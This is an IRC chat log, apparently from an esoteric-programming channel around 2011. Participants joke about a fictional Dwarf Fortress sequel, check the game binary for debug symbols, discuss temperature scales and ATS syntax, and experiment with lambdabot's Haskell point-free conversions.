20:49:21 -!- pumpkin has joined.
20:52:48 -!- copumpkin has quit (Ping timeout: 240 seconds).
20:56:38 <elliott> fizzie: Was it mooz who was commenting on Slaves to Armok: God of Blood, Chapter I all those years back?
20:56:50 <elliott> Was it actually any good? :p
20:57:15 <fizzie> It was mooz; and I think that depends on "good".
20:57:27 <fizzie> Certainly it wasn't "good" as in "good game", but it was... an experience, I gather.
20:57:33 <elliott> http://4.bp.blogspot.com/_qrfMkVoq9DA/TEXhav_6RQI/AAAAAAAAABs/tdUY1rlzbp0/s1600/armokky.jpg ;; is this a screenshot?
20:57:45 <fizzie> It looks familiar, yes.
20:57:46 <elliott> From the looks of it it might not be worth playing even if you're a Dwarf Fortress fan. :p
20:57:51 <ais523> is chapter III going to happen ever, or have people just decided that Dwarf Fortress is the only interesting game in the series?
20:58:04 <elliott> ais523: where on earth can you go from dwarf fortress?
20:58:15 <elliott> ais523: it's not so much a dead end, as an infinite corridor
20:58:18 -!- Tritonio has joined.
20:58:19 <ais523> make III as much better than II as II is better from I!
20:58:31 <elliott> ais523: I ask again: where on earth can you go from Dwarf Fortress?
20:58:34 -!- ais523 has quit (Read error: Connection reset by peer).
20:58:55 <elliott> he just couldn't take the question
20:59:02 -!- ais523 has joined.
20:59:02 <fizzie> It was too much.
20:59:03 <ais523> well, it would likely be a completely different genre
20:59:06 <elliott> * ais523 has quit (Read error: Connection reset by peer)
20:59:06 <elliott> <elliott> he just couldn't take the question
20:59:06 <elliott> <fizzie> It was too much.
20:59:34 <ais523> let's see... it would be a simulator of the entire universe that used the actual laws of physics
20:59:39 <ais523> (note: powerful computer needed)
21:00:00 <elliott> ais523: powerful? understatement :P
21:00:02 <ais523> and would let you simulate alternate historical paths of the actual universe
21:00:05 <elliott> and possibly not even possible
21:00:08 <elliott> if you mean quantuuum
21:00:17 <ais523> elliott: I'm trying to make a comment on Dwarf Fortress' astonishing CPU usage
21:00:20 <ais523> and how to scale that up further
21:00:28 <ais523> and would contain dwarves, of course
21:00:29 <elliott> ais523: make it four-dimensional
21:00:35 <elliott> why? Chapter I didn't
21:00:50 <elliott> ais523: hmm, the world should be 4D, displayed as 1D
21:00:54 <elliott> since DF is 3D as 2D
21:00:58 <ais523> elliott: each chapter so far has added more dwarves
21:01:03 <elliott> haha
21:01:09 <fizzie> Hee, there's one of those fancy Hilbert curve internet address maps at http://www.renesys.com/blog/2011/02/egypt-a-hole-in-the-internet.shtml -- the man page for the picture-making program (ipv4-heatmap) lists "BUGS: Can't draw IPv6 address maps". Those would be some pretty empty maps.
21:01:18 <elliott> in fact, the entire game's interface should be perfectly possible to work from an actual teletype typewriter
21:01:25 <elliott> without colour, or more than printable ASCII
21:01:31 <elliott> with linear, line-based input
21:01:40 <elliott> (ofc, you'd need it to be hooked up to a supercomputer still)
21:01:43 <ais523> isn't that just a text adventure?
21:01:58 <elliott> ais523: no, as I said, the 1D, wrapped output would show you part of a four-dimensional universe
21:02:11 <elliott> fizzie: heh
21:02:59 <elliott> ais523: anyway, you clearly wouldn't be able to tell dwarves what to do, you would instead have to tweak the environment so that the dwarves independently decided what to do
21:03:11 <ais523> indeed
21:03:14 <ais523> actually, I think you'd be a politician
21:03:19 <ais523> trying to get the dwarves to vote for you
21:03:24 <elliott> since chapter I was direct-control hack 'n slash, and chapter II is ordering-dwarves-based control [indescribable], clearly chapter III is completely indirect control
21:03:27 <elliott> ais523: that's far too concrete
21:03:36 <ais523> and they'd be staging epic RPG-ish wars in order to get the right to vote for oyu
21:03:37 <elliott> ais523: you should just be able to, say, put water into the atmosphere
21:03:37 <ais523> *you
21:03:38 <elliott> to try and cause rain
21:03:41 <elliott> which will upset the dwarves
21:03:43 <ais523> no, that's too direct too
21:03:46 <elliott> causing them to try and go away from the rain
21:03:47 <elliott> which is far underground
21:03:49 <elliott> and thus they'll mine
21:03:54 <elliott> <ais523> and they'd be staging epic RPG-ish wars in order to get the right to vote for oyu
21:03:56 <elliott> ooh, even better:
21:04:01 <elliott> you're a politician in an _entirely unrelated land_
21:04:06 <ais523> yep, I like that one
21:04:15 <elliott> and you have to keep being voted in by the people of that land, but use your powers to ascend to higher levels of power,
21:04:19 <elliott> meaning you can do things like cause wars,
21:04:24 <elliott> which affect the weather because of the weapons used,
21:04:30 <elliott> which makes the dwarves decide to do things based on their AI
21:04:32 <ais523> yep
21:04:32 <elliott> :D
21:04:34 <elliott> this is the best game ever
21:04:47 <ais523> and there's no real win condition /or/ lose condition
21:04:48 <elliott> who wants to implement it?
21:05:00 <elliott> ais523: indeed, if all the dwarves die, you can keep going if you want
21:05:02 <ais523> but getting anything you wanted to happen at all is a good enough accomplishment to start off
21:05:02 <elliott> just, it'll be rather pointless
21:05:12 <ais523> you can wait for more dwarves to evolve
21:05:30 <ais523> either that, or just fill half the world's population with dwarves
21:05:40 <ais523> and let the player decide which small subset of dwarves to focus on
21:05:46 <ais523> (not in the game interface, just in their head0
21:05:47 <ais523> *)
21:06:02 <elliott> this is the best :D
21:06:11 <elliott> ais523: better: have all species be procedurally generated
21:06:25 <elliott> ais523: but if the world ends up to have no species that are sufficiently Dwarf-like, automatically throw away the world and start again
21:06:38 <ais523> got it!
21:06:40 <elliott> this means that the simplest world generation would take about 6 months on a normal computer
21:06:45 <elliott> ais523: who has, me?
21:06:48 <ais523> yep
21:07:16 <elliott> ais523: also, the world should be simulated for about a million years, not the piddly hundred-or-so DF does
21:07:41 <ais523> alternatively, simulate it for arbitrarily many years backwards, lazily
21:07:53 <ais523> the theory is, that after a certain point, history won't have any observable direct effects on the world
21:07:58 <ais523> so you just generate more as they become relevant
21:08:00 <elliott> ais523: that's not in the DF spirit!
21:08:04 <elliott> world generation should be insanely precise!
21:08:07 <elliott> and INTENSIVE
21:08:13 <ais523> ah, perhaps
21:08:22 <elliott> hmm, and the names of the chapters have been increasing steadily
21:08:28 <elliott> therefore, chapter III needs to be called something like
21:09:03 <elliott> Slaves to Armok: God of Blood, Chapter III: Some Name, Part I: Some Other Name
21:09:10 <elliott> (I'm not sure what comes after Part; Paragraph?)
21:09:26 <ais523> part's actually more major than chapter
21:09:28 <ais523> section is less major
21:09:33 <ais523> then subsection, subsubsection
21:09:34 <elliott> ah, indeed
21:09:39 <fizzie> You seem to go by the LaTeX terminology. :p
21:09:41 <ais523> (/latex)
21:09:54 <fizzie> And paragraph does come after subsubsection; then subparagraph.
21:09:59 <ais523> fizzie: due to a hilarious misclick on my touchpad, I managed to write the /latex in this channel, and the parens in another
21:10:10 <ais523> mostly hilarious due to the timing
21:10:12 <ais523> and then had to go and fix
21:10:26 <ais523> so #unnethack is wondering why I said () for no apparent reason
21:10:33 <elliott> are they actually wondering?
21:10:39 <ais523> well, not out loud
21:10:42 <ais523> but possibly privately
21:10:45 <fizzie> While /latex did not turn this channel into LaTeX mode?
21:10:52 <ais523> fizzie: that would be \latex
21:10:53 <elliott> ais523: indeed, in #unnethack-behind-ais523s-back
21:11:06 <ais523> elliott: that's not what I meant!
21:11:19 <elliott> wow, that channel actually exists, and ais523 is banned from it!
21:11:26 <ais523> (although it would be hilarious if that channel existed, and more so if it were actually used; I can't check, though, because it would defeat the point)
21:11:36 <elliott> ais523: i'm not kidding, try and join it
21:11:41 <ais523> elliott: you just created it, most likely
21:11:52 <elliott> psht, so suspicious
21:11:57 <ais523> [Notice] -ChanServ- Channel #unnethack-behind-ais523s-back is not registered.
21:12:11 <elliott> ais523: would _you_ register a channel like that?
21:12:41 <ais523> obviously not, then it wouldn't be behind my back
21:13:55 <elliott> ais523: I really want to play Chapter III now...
21:14:16 <fizzie> Once I tried to convince someone that a (nonstandard, Finnish) word was a real word; for some reason they weren't convinced by my "look, according to the Internet it's a real word" argument of: echo '<h1>[word] is a real word!</h1>' > tmp.html && firefox file:///home/fis/tmp.html
21:14:18 <elliott> it'd be awesome if the vast majority of the computation was simulating all the _non-Dwarf_ civilisations, incredibly realistically
21:14:22 <fizzie> Perhaps I should have hidden the location bar.
21:14:25 <elliott> because those are the ones you have to control
21:15:33 <ais523> unfortunately, almost by definition, you wouldn't be able to run it if it were implemented, nor would anyone else
21:15:57 <fizzie> "Firefox is already running, but is not responding. To open a new window, you must first close the existing Firefox process, or restart your system." 2011 surely is the year of Linux on the desktop, since the problem troubleshooting already is of the "restart your system" variety.
21:16:00 <elliott> ais523: well, I wasn't thinking of it as quantum-physicsy any more
21:16:07 <ais523> even so
21:16:16 <ais523> millions of years of history would take a while
21:16:24 <ais523> as would simulating effects that indirect
21:16:31 <ais523> this should so let you play as a butterfly :)
21:16:44 <ais523> fizzie: it says that on Windows too
21:16:57 <Lymia> fizzie, no suggestion of 'killall -9 firefox'?
21:17:01 <ais523> normally, waiting a couple of minutes works, although oddly that isn't listed as one of the solutions
21:17:11 <fizzie> ais523: Well, yes, therefore logically the market shares should be equal. QED.
21:17:19 <elliott> ais523: well, DF can simulate 100 years in about a minute on my machine
21:17:24 <Lymia> ais523, I'm guessing it's syncing it's configuration, etc to disk.
21:17:29 <elliott> admittedly, of a medium-sized map
21:17:41 <ais523> Lymia: yep, it'll be something like that
21:17:44 <elliott> ais523: so 1000 years should take about 15 minutes, say
21:17:49 -!- BeholdMyGlory has joined.
21:17:58 <Lymia> elliott, and I do believe this is pre-optimization.
21:17:59 <Phantom_Hoover> elliott, have you *looked* at DF's history?
21:18:03 <Phantom_Hoover> It's not all that complex.
21:18:12 <Lymia> Fun fact: DF is compiled with symbol information.
21:18:14 <ais523> Phantom_Hoover: it would be in StA III!
21:18:16 <elliott> ais523: so, 1000 * 15 minutes = 10 and a half days
21:18:20 <Phantom_Hoover> StA?
21:18:25 <Lymia> In theory you could recover the source to an decent degree.
21:18:26 <Lymia> =D
21:18:27 <ais523> Slaves to Armok
21:18:28 <elliott> Phantom_Hoover: Slaves to Armok: God of Blood, Chapter
21:18:31 <elliott> to expand what ais523 meant by it there
21:18:34 <elliott> Lymia: not really
21:18:36 <elliott> disassembling C is non-trviail
21:18:48 <ais523> Lymia: does it have line number info too?
21:18:51 <cheater-> hex rays
21:18:52 <ais523> that'd help break the statements apart
21:18:53 <Lymia> ais523, dunno.
21:18:55 <elliott> ais523: so, I bet you could simulate something reasonably close to StA III for a million years in less than a real-world month
21:19:10 <ais523> Lymia: easy way to check is to open it in a debugger and try to set a breakpoint by line number
21:19:18 <Lymia> Good idea.
21:19:19 <Lymia> =p
21:19:22 <Lymia> Would gdb do?
21:19:27 <ais523> yep
21:19:40 <elliott> ais523: http://en.wikipedia.org/wiki/Wikipedia:Millionth_topic_pool#Video_games
21:19:42 <elliott> ais523: "Dwarf Fortress by Bay 12 Games - will be out by then. Grue 12:56, 25 Mar 2005 (UTC)"
21:19:47 <elliott> (DF was developed from 2002 to 2006 before being released)
21:20:07 -!- Behold has quit (Ping timeout: 276 seconds).
21:20:16 <ais523> heh, [[Confirmed release date of Duke Nukem Forever]] is also on that list
21:20:17 <ais523> and it has one now
21:20:25 <Lymia> Reading symbols from C:\Users\hiedanoakyu\games\df_31_12_win/dwarfort.exe...(no
21:20:26 <Lymia> debugging symbols found)...done.
21:20:26 <Lymia> Eh?
21:20:28 <ais523> I forget the exact date, but it's a specific day of mid-2011
21:20:37 <ais523> Lymia: how confusing
21:20:46 <ais523> maybe it has debug symbols, but not in a format gdb understands
21:20:50 <ais523> or perhaps it means something esle
21:20:51 <ais523> *else
21:20:56 <Lymia> I recall seeing function names in it's binary at least.
21:20:58 <elliott> [[That's wrong. It was released a long time before Dwarf Fortress (I know, I played it back then.) You can find it here. It never really reached the point of being a fully stable, playable game (you could wander around and kill things, basically, just like a primitive but crude-3D-graphical version of the Adventurer mode in Dwarf Fortress currently), but it went through several releases and collected user feedback that later influenced Dwarf Fort
21:20:58 <elliott> ress to an extent. --Aquillion (talk) 06:04, 20 August 2009 (UTC)]]
21:21:10 <Lymia> And they're names that should be unique to DF.
21:21:11 <elliott> Lymia: you'd have a lot better chance on Linux...
21:21:26 <Lymia> elliott, ?
21:21:29 <fizzie> Function names could be just __func__ strings used for error messages.
21:21:35 <elliott> try it on the linux DF binary instead.
21:21:38 <Lymia> Ah.
21:21:45 <Lymia> Good idea.
21:21:46 <Lymia> =p
21:21:46 <elliott> I might, actually
21:22:02 <elliott> Reading symbols from /home/elliott/df_linux/libs/Dwarf_Fortress...(no debugging symbols found)...done.
21:22:03 <elliott> oh well
21:22:24 <ais523> so we'd have to guess what format the symbols are in
21:22:30 <elliott> I imagine fizzie is right.
21:22:35 <ais523> hmm, perhaps they aren't debug symbols, but asserts?
21:22:39 <ais523> oh, fizzie said that already
21:22:41 <elliott> [[Slaves to Armok II: Dwarf Fortress → Dwarf Fortress — The current title is wrong, and no one ever uses the ridiculously long full title. 155.33.172.164 (talk) 22:54, 3 October 2010 (UTC)]]
21:22:42 <elliott> LAME
21:22:55 <elliott> I should propose a move to [[Slaves to Armok: God of Blood, Chapter II: Dwarf Fortress]]
21:23:38 <ais523> now I'm seeing how many of those exist as a non-stub, non-redirect
21:23:56 <elliott> wow, DF's fluid simulation is a CA
21:24:00 <ais523> [[Snakes on a Train]] is the first one on the list
21:24:07 <elliott> ais523: how many of what?
21:24:10 <elliott> ah
21:24:15 <ais523> and [[The Last Dangerous Visions]] the second
21:24:22 <ais523> millionth topic pool
21:24:41 <ais523> also, a couple which were serious articles that hadn't been written, like [[Ringworm]]
21:25:01 <Phantom_Hoover> What *was* the millionth article?
21:25:06 <elliott> JORDANHILL RAILWAY STATION
21:25:14 <ais523> heh, [[Military history of Oceania]]
21:25:18 <elliott> THE ONLY RAILWAY STATION THAT MATTERS
21:25:24 <elliott> http://en.wikipedia.org/wiki/Jordanhill_railway_station
21:25:28 <ais523> now an entirely serious article
21:25:33 <elliott> that article is so ridiculously huge
21:25:40 <elliott> GOD BLESS JORDANHILL
21:26:06 <ais523> hmm, someone made a sensible attempt to win: searching for the most common name for a school that didn't yet have an article
21:26:16 <ais523> coming up with [[St. Mary's School]], which is indeed now a bluelink
21:26:27 <elliott> haha
21:26:44 <fizzie> The Linux binary of Dwarf Fortress seems to contain some DWARF debugging data (how appropriate!), but only the .eh_frame things required for runtime call-unwinding by exception handlers.
21:26:59 <elliott> The summer before I went to grad school, though, we restarted the fantasy project. This time, it was called Slaves to Armok: God of Blood, named after Armok, the god from dragslay. Armok himself was named after "arm_ok", a variable that counts the number of arms you have left, for inventory purposes. This was a 2D project in a somewhat-isometric view, where you walked around a cave with a bunch of goblins in loincloths. It was entertaining, but s
21:26:59 <elliott> hort-lived.
21:27:01 <fizzie> So it's a bit arguable if that can even be called debugging data.
21:27:12 <ais523> also amusing: [[Tantalum telluride]], mostly amusing because it was User:TantalumTelluride who suggested it
21:27:20 <ais523> commenting that it's interesting as to whether it would be kept
21:27:23 <elliott> number of arms you have left, amazing
21:27:26 <ais523> it seems it was created, and is still blue
21:27:40 <elliott> My user name is derived from the chemical compound tantalum telluride, which was not notable enough to be the subject of a Wikipedia article when I joined the project. Wikipedia editor Nightstallion eventually created an article about tantalum telluride on 10 March 2006. Feel free to edit or expand it within the bounds of Wikipedia policy and guidelines.
21:27:53 <ais523> and User:TantalumTelluride has never edited it, presumably due to conflict of interest
21:28:02 <fizzie> Also the Linux executable of DWARF fortress is an ELF file, eh-eeh-eh.
21:28:43 * elliott tries to figure out whether Liberal Crime Squad is a joke at the expense of liberals or conservatives
21:28:47 <elliott> [[Welcome to Liberal Crime Squad! The Conservatives have taken the Executive, Legislative, and Judicial branches of government. Over time, the Liberal laws of this nation will erode and turn the country into a BACKWOODS YET CORPORATE NIGHTMARE. To prevent this from happening, the Liberal Crime Squad was established. The mood of the country is shifting, and we need to turn things around. Go out on the streets and indoctrinate Conservative automato
21:28:47 <elliott> ns. That is, let them see their True Liberal Nature. Then arm them and send them forth to Stop Evil. Eventually the public will fall behind us, and we will put more Elite Liberals in government.]]
21:28:56 <elliott> [["Hello. If you have not already guessed, I am with the Liberal Crime Squad. Welcome! You are here, so you are willing to fight the rampant conservatism that is gripping America like a big rampant America-gripping device."
21:28:56 <elliott> "Well… I'm not sure."
21:28:56 <elliott> "Yes, you are! You are Liberal in your heart. All people are Liberals at heart. It is part of your True Liberal Nature."
21:28:56 <elliott> "But there are so many political groups out there. What does the Liberal Crime Squad stand for?"
21:28:57 <elliott> "Everything! We stand for everything that is good and pure in America! This is what you must know…"
21:28:57 <ais523> hmm, not too many are bluelinked, not dismissing obvious "joke" submissions (that is, submissions that are clearly serious rather than jokes, and thus shouldn't count for the poll)
21:28:58 <elliott> http://lcs.wikidot.com/liberalism]]
21:29:08 -!- Tritonio has quit (Quit: Leaving).
21:30:18 <Phantom_Hoover> elliott, oh, *wonderful*.
21:30:19 <fizzie> To quote Bored of the Rings, on the topic of Linux executable and debugging information formats: "And since that day it's said by all / In ballad, lay and poem / 'Only trust an elf or dwarf / As far as you can throw 'em!'"
21:30:46 <elliott> Phantom_Hoover: I honestly can't figure out whether it's a liberal making a joke out of jokes at the expense of liberals, or a conservative making a joke at the expense of liberals.
21:30:49 <elliott> (It's another Bay 12 game.)
21:30:58 <Phantom_Hoover> Reality: oppose
21:31:14 <Phantom_Hoover> Anti-American Hate Groups: support (for their free speech)
21:31:23 <elliott> <elliott> Phantom_Hoover: I honestly can't figure out whether it's a liberal making a joke out of jokes at the expense of liberals, or a conservative making a joke at the expense of liberals.
21:31:23 <elliott> <elliott> (It's another Bay 12 game.)
21:31:26 <Phantom_Hoover> I can't see a tongue-in-cheek liberal writing that.
21:31:39 <ais523> the scary thing is, from the point of view of the US, more or less the entire world is full of liberals
21:31:50 <ais523> who are also socialists
21:32:13 <elliott> Phantom_Hoover: I can
21:32:20 <elliott> in that it's a parody of the kind of things American conservatives actually say
21:32:24 <Phantom_Hoover> ais523, naw, the really scary thing is that Obama would be right-wing by Tory standards.
21:32:38 <elliott> i.e., if I was parodying Bill O'Reilly or Glenn Beck or someone, I would definitely write "Reality: OPPOSE".
21:32:41 <Phantom_Hoover> elliott, well, that's getting into meta-parody, which is rather sh
21:32:45 <Phantom_Hoover> *shaky
21:32:46 <elliott> It's rather sh indeed.
21:32:51 <ais523> I think he still manages to be left-wing by BNP standards, though, so at least there's /some/ overlap
21:33:06 <elliott> http://www.bay12games.com/lcs/, anyway
21:35:00 * Lymia gives elliott a random hug
21:35:07 <elliott> O KAY
21:47:10 -!- Behold has joined.
21:47:45 -!- Mathnerd314 has quit (Ping timeout: 240 seconds).
21:48:02 <pikhq_> Fuck this shit.
21:48:04 -!- pikhq_ has changed nick to pikhq.
21:48:12 -!- Mathnerd314_ has joined.
21:49:53 -!- Mathnerd314_ has changed nick to Mathnerd314.
21:50:21 -!- BeholdMyGlory has quit (Ping timeout: 240 seconds).
21:51:46 <elliott> pikhq: ?
21:57:31 -!- ais523 has quit (Read error: Connection reset by peer).
21:57:51 -!- ais523 has joined.
21:58:50 -!- MigoMipo has quit (Remote host closed the connection).
22:00:07 -!- poiuy_qwert has joined.
22:03:31 -!- Slereah has quit (Ping timeout: 272 seconds).
22:05:07 -!- poiuy_qwert has quit (Ping timeout: 250 seconds).
22:05:30 <Phantom_Hoover> pikhq, what happened?
22:09:20 -!- Slereah has joined.
22:12:09 -!- ais523 has quit.
22:12:25 -!- ais523 has joined.
22:21:06 <pikhq> It's SOFUCKINGCOLD
22:22:10 <Phantom_Hoover> pikhq, how cold?
22:22:39 <pumpkin> e lucevan le stelle!
22:22:47 <pumpkin> ed olezzava la terra
22:23:32 <pikhq> Phantom_Hoover: Earlier today, it was about -28°C (-19°F). Now, it's about -22°C (-9°F).
22:23:54 <Phantom_Hoover> I'm British. I don't understand Fahrenheit at all, so you don't need to cite it.
22:23:59 <Phantom_Hoover> And that is effing cold.
22:24:14 <Phantom_Hoover> We locked up at about -5.
22:24:22 <pikhq> I'm American. Offering Celsius was a courtesy.
22:24:49 <Phantom_Hoover> WHY WOULD YOU USE A SYSTEM WHICH IS FIXED AT SUCH STUPID POINTS
22:25:19 <Phantom_Hoover> NOÖNE EVEN KNOWS WHAT 100°F ACTUALLY WAS
22:25:40 <pumpkin> I want a system where water boils at 256 degrees
22:25:50 <pumpkin> and absolute 0 is 0
22:26:06 <pumpkin> furthermore, the standard notation for it should be in hex
22:26:23 <elliott> *absolute 0 is 0.0000037489894
22:26:27 <elliott> :trollface:
22:26:34 <pumpkin> ff.1e is almost boiling
22:27:03 <pumpkin> oh, and furthermore, it should be nonlinear
22:27:13 <pumpkin> so I want water to freeze at 128 degrees
22:27:14 <ais523> Phantom_Hoover: 100 F was meant to be body temperature
22:27:21 <pikhq> Oh, look, it'll be *above freezing* by Friday.
22:27:21 <ais523> and 0F was meant to be the freezing point of saturated salt water
22:27:29 <pumpkin> ais523: wow, a really smart, constant base to go by
22:27:31 <ais523> they're two temperatures which would have been easy to determine with the equipment at the time
22:27:40 <ais523> although 100F turned out to be not too reliable
22:27:52 <ais523> (0F is easier to measure than 0C, because saturating water is easier than purifying it)
22:34:36 * Phantom_Hoover → sleep
22:35:12 <fizzie> "In some countries, both systems are fairly prominent[weasel words], if not used equally.[citation needed]"
22:35:19 <fizzie> Oh, my, WEASEL WORDS.
22:35:55 <ais523> "fairly" isn't very accurate
22:38:45 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds).
22:44:44 -!- ais523 has quit (Remote host closed the connection).
22:47:50 -!- Mathnerd314 has quit (Ping timeout: 276 seconds).
22:53:22 -!- BeholdMyGlory has joined.
22:54:47 -!- Behold has quit (Ping timeout: 245 seconds).
23:12:55 -!- oerjan has joined.
23:15:41 <oerjan> <elliott> A lot of people here are, they've just been quiet lately.
23:16:02 <oerjan> well i'm usually too lazy to read all of it unless it's short
23:16:11 <elliott> :D
23:16:44 <oerjan> actually that's not laziness, even i have to do _some_ prioritization
23:17:09 <Sgeo> Can I learn ATS without learning SML first?
23:17:28 <elliott> really?
23:17:55 <oerjan> <kfr> It's the middle of the day for like 2 billion people
23:17:58 <Sgeo> It's just, I saw something comparing the syntax of ATS with the syntax of SML
23:18:11 <oerjan> afaik we don't have any indians or chinese here, though
23:18:54 <oerjan> hm wait that was during european day wasn't it
23:18:59 <Sgeo> Hah. I like ATS's infixl/infixr better than Haskell's
23:19:16 <oerjan> Sgeo: what's the difference?
23:19:26 <Sgeo> We can also use the following syntax to declare that iadd, fadd, padd and uadd are left-associative infix operators with a precedence value equal to that of the operator +:
23:19:26 <Sgeo> infixl (+) iadd fadd padd uadd
23:19:42 <fizzie> According to my timestamps, that was said at 12:48 Finnish time, so it would mean midday CET.
23:20:21 <oerjan> fizzie: WELL WHY WOULD YOU EXPECT ANYONE TO BE ON THE CHANNEL _THEN_?
23:21:09 <oerjan> dinner -->
23:22:56 <elliott> @pl \n -> fix (\me m -> if m+1 == n then m else me (m+1)) 0
23:22:57 <lambdabot> flip fix 0 . (. (. (1 +))) . ap . join . (if' .) . (. (1 +)) . (==)
23:23:03 <elliott> > (flip fix 0 . (. (. (1 +))) . ap . join . (if' .) . (. (1 +)) . (==)) 3
23:23:04 <lambdabot> Not in scope: `if''
23:23:41 -!- pumpkin has quit (Quit: Computer has gone to sleep.).
23:23:47 <elliott> @let
23:23:48 <lambdabot> Defined.
23:23:53 <elliott> @let if' x y z = if x then y else z
23:23:53 <lambdabot> Defined.
23:23:54 <elliott> > (flip fix 0 . (. (. (1 +))) . ap . join . (if' .) . (. (1 +)) . (==)) 3
23:23:56 <lambdabot> 2
23:23:58 <elliott> > (flip fix 0 . (. (. (1 +))) . ap . join . (if' .) . (. (1 +)) . (==)) 0
23:24:02 <lambdabot> mueval-core: Time limit exceeded
23:24:29 <elliott> @pl \n -> fix (\me m -> if m+1 == n then 0 else 1+(me (m+1))) 0
23:24:30 <lambdabot> flip fix 0 . (. (((1 +) .) . (. (1 +)))) . ap . flip flip 0 . (if' .) . (. (1 +)) . (==)
23:24:34 <elliott> > (\n -> fix (\me m -> if m+1 == n then 0 else 1+(me (m+1))) 0) 3
23:24:35 <lambdabot> 2
23:24:42 <elliott> hm
23:26:06 -!- FireFly has quit (Quit: swatted to death).
23:32:55 <elliott> > let pred 1 = 0; pred (n+1) = 1 + pred n in pred 10
23:32:56 <lambdabot> <no location info>: Parse error in pattern
23:33:01 <Sgeo> Is there anything special about pure nonterrminating functions in ATS, or is it only pure terminating that are special?
23:33:10 <elliott> > let pred 1 = 0; pred n | n > 0 = 1 + pred (n-1) in pred 10
23:33:11 <lambdabot> 9
23:33:13 <elliott> > let pred 1 = 0; pred n | n > 0 = 1 + pred (n-1) in pred 0
23:33:14 <lambdabot> *Exception: <interactive>:3:4-46: Non-exhaustive patterns in function pred
23:33:20 <elliott> @let data X
23:33:20 <lambdabot> EmptyDataDecls is not enabled
23:33:29 <elliott> @let data Nat = Z | S Nat
23:33:29 <lambdabot> Invalid declaration
23:33:36 <elliott> oerjan: wat.
23:35:00 <Sgeo> Dear ATS website: Fuck you
23:35:00 <Sgeo> http://www.ats-lang.org/TUTORIAL/contents/types-with-effects.dats
23:35:14 <Sgeo> Oh, right. SourceForge.
23:36:03 <oerjan> elliott: lambdabot does not support data declarations.
23:36:16 <elliott> oerjan: but <lambdabot> EmptyDataDecls is not enabled
23:36:16 <elliott> :D
23:37:09 <oerjan> well it probably uses a generic parser first before checking what's actually _in_ the result. i suspect.
23:37:21 <elliott> @env
23:37:21 <lambdabot> Maybe you meant: v wn
23:37:23 <elliott> @djinn-env
23:37:23 <lambdabot> data () = ()
23:37:23 <lambdabot> data Either a b = Left a | Right b
23:37:23 <lambdabot> data Maybe a = Nothing | Just a
23:37:23 <lambdabot> data Bool = False | True
23:37:24 <lambdabot> data Void
23:37:26 <lambdabot> type Not x = x -> Void
23:37:28 <lambdabot> class Monad m where return :: a -> m a; (>>=) :: m a -> (a -> m b) -> m b
23:37:30 <lambdabot> class Eq a where (==) :: a -> a -> Bool
23:37:31 <lambdabot> data Twice a = Two a a
23:37:32 <elliott> > (\x -> undefined) :: Not a
23:37:33 <lambdabot> type Classical x = Not (Not x)
23:37:35 <lambdabot> Not in scope: type constructor or class `Not'
23:37:37 <lambdabot> type NotNot x = Not (Not x)
23:37:45 <elliott> :<
23:37:49 <elliott> are nats like that in any library>
23:37:50 <elliott> *library?
23:37:54 <elliott> @hoogle Nat
23:37:54 <lambdabot> Text.Parsec.Token natural :: GenTokenParser s u m -> ParsecT s u m Integer
23:37:54 <lambdabot> Text.ParserCombinators.Parsec.Token natural :: GenTokenParser s u m -> ParsecT s u m Integer
23:37:54 <lambdabot> Text.Parsec.Token naturalOrFloat :: GenTokenParser s u m -> ParsecT s u m (Either Integer Double)
23:40:14 <oerjan> oh right djinn does not support recursive types
23:41:22 <elliott> hm what's the same as Nat again? not "Maybe ()"
23:41:28 <elliott> quick oerjan how can i construct nat
23:41:30 <elliott> [()] i guess
23:41:32 <elliott> but that's ugly
23:42:27 <oerjan> :k Fix
23:42:28 <lambdabot> Not in scope: type constructor or class `Fix'
23:43:00 <Gregor> My local cable provider, Nova (which is shit) is being swallowed up by Comcast, the answer to the question "how could you possibly do worse than Nova?"
23:43:44 <elliott> > let pred (():[]) = []; pred (():():n) = () : pred n in pred [(),(),(),(),()]
23:43:45 <lambdabot> [(),()]
23:43:52 <elliott> > let pred (():[]) = []; pred (():():n) = () : () : pred n in pred [(),(),(),(),()]
23:43:53 <lambdabot> [(),(),(),()]
23:44:00 <elliott> @pl let pred (():[]) = []; pred (():():n) = () : () : pred n in pred
23:44:00 <lambdabot> (line 1, column 14):
23:44:00 <lambdabot> unexpected "["
23:44:00 <lambdabot> expecting "()", natural, identifier, "_" or "("
23:44:04 <elliott> ???
23:44:17 <elliott> @pl let pred [()] = []; pred (():():n) = () : () : pred n in pred
23:44:17 <lambdabot> (line 1, column 10):
23:44:17 <lambdabot> unexpected "["
23:44:17 <lambdabot> expecting pattern or "="
23:44:21 <elliott> oerjan ha;lp
23:44:35 <oerjan> well i hear comcast is the only major isp in the us which is actually preparing for ipv6 transition...
23:44:41 <elliott> @pl fix (\me x -> case x of [()] -> []; () : () : n -> () : () : me n)
23:44:42 <lambdabot> (line 1, column 30):
23:44:42 <lambdabot> unexpected ">"
23:44:42 <lambdabot> expecting variable, "(", operator or ")"
23:44:44 <elliott> HALP
23:45:23 <elliott> @pl fix (\me x -> case x of (:) () [] -> []; (:) () ((:) () n) -> (:) () ((:) () (me n))
23:45:24 <lambdabot> (line 1, column 31):
23:45:24 <lambdabot> unexpected " "
23:45:24 <lambdabot> expecting variable, "(", operator or ")"
23:45:25 <elliott> @pl fix (\me x -> case x of (:) () [] -> []; (:) () ((:) () n) -> (:) () ((:) () (me n)))
23:45:26 <lambdabot> (line 1, column 31):
23:45:26 <lambdabot> unexpected " "
23:45:26 <lambdabot> expecting variable, "(", operator or ")"
23:45:26 <oerjan> you are abusing @pl in wais it was obviously not meant to be used; you deserve no halp
23:45:30 <oerjan> *ways
23:45:31 <elliott> oerjan: ;_;
23:45:37 <elliott> WHAT DID I DO WRONG
23:45:56 <oerjan> case is not @pl'able
23:46:06 <elliott> oerjan: is there an uncase? :)
23:46:37 <elliott> @pl let f x = if x == [()] then [] else () : () : f (tail (tail x)) in f
23:46:37 <lambdabot> (line 1, column 39):
23:46:37 <lambdabot> unexpected " "
23:46:37 <lambdabot> expecting variable, "(", operator, ";" or "in"
23:46:39 <elliott> oh come on
23:46:41 <oerjan> @pl \(x:l) -> l
23:46:41 <lambdabot> tail
23:46:47 <oerjan> ok it manages _that_
23:47:06 <oerjan> also @pl has a fugly parser, i think
23:47:14 <elliott> @pl let f x = if x == Cons POOP Nil then Nil else Cons POOP (Cons POOP (f (tail (tail x))) in f
23:47:14 <lambdabot> (line 1, column 88):
23:47:14 <lambdabot> unexpected reserved word "in"
23:47:14 <lambdabot> expecting variable, "(", operator or ")"
